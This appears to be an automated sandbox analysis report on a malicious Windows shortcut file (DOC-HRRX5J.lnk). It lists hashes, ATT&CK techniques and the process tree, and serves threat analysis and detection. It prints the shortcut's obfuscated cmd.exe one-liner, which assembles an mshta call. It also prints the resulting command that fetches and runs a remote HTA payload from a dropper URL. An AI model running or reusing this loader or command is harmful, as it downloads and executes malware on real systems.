c1735c030e92d2cf3d6a7491ab4f17e02a54cc4b2d35db629131e6092d4b7b21

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-HRRX5J.lnk
Size 2KB
Sample260804-kbm8msvfqd
SHA256 c1735c030e92d2cf3d6a7491ab4f17e02a54cc4b2d35db629131e6092d4b7b21
MD5 963e544f6aca71f496233e01937b7c2b
SHA1 4c6a4ec92e7ad300dfbfbed1151745ec6154b814
SHA512 bdc9e8484b14d00d107a26cf10afb16d012ef342792bb839f3a0bbb6fe2d69cb8700f25cfc13f12129c7736a79436003c700c6bf80a078d86a8e35c782ba96aa
TLSH
T11A4144802AF841D8F2BA8E72EDFE27265C7779968DB0C6DD0840810D1822F05D973B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1856	cmd.exe
3024	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 3024	1856	cmd.exe	91
PID 3024 wrote to memory of 1316	3024	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HRRX5J.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1856
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set fTv=oldmusniaold&&set Awr=dbghqlmrlsskcdbg&&set aYuSv=2st6c&&set jJlo=rac&&set Ss=lrtms9&&set ctWD=oldoqiwtrdold&&set re=infyedjzmqcpiinf&&set lu=zymsc0&&set gdjKB=68htaf&&set zlouU=cachecozvvcrlhrqajcwjcache&&set Wlk=winewhdwin&&set wPB=oldvcdqgoyktmesofuold&&set cw=netlmcjuunet&&set TSr=htt@ps://m@a@-p@d@ffiller.@l@a@t@/h/e@sta@gi@[email protected]@h@p@?r@=@391469FB@5D82D@B&&start /b !lu:~2,2!!gdjKB:~2,3! !TSr:@=!&&set ctLB=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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